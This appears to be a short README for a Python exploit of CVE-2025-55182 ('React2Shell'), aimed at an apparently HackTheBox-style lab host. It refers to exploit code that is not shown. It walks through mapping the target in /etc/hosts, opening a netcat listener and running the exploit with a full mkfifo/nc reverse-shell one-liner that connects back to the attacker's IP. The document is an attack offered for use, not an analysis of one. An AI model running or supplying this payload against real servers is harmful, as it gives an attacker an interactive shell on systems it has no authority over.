React2Shell_Exploit CVE-2025-55182

I created simple react2shell CVE-2025-55182 python exploit USAGE

1. Save the script: Save the code above as exploit.py.

2. Update Hosts: Ensure reactor.htb resolves to the target IP in your /etc/hosts file. echo "<TARGET_IP> reactor.htb" | sudo tee -a /etc/hosts

3. Start Listener: Open a terminal to catch the reverse shell. nc -lvnp 4444

4. Execute Exploit: Run the script with a reverse shell payload. python3 exploit.py http://reactor.htb:3000 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <YOUR_IP> 4444 >/tmp/f"

5. Replace <YOUR_IP> with your tun0 IP address.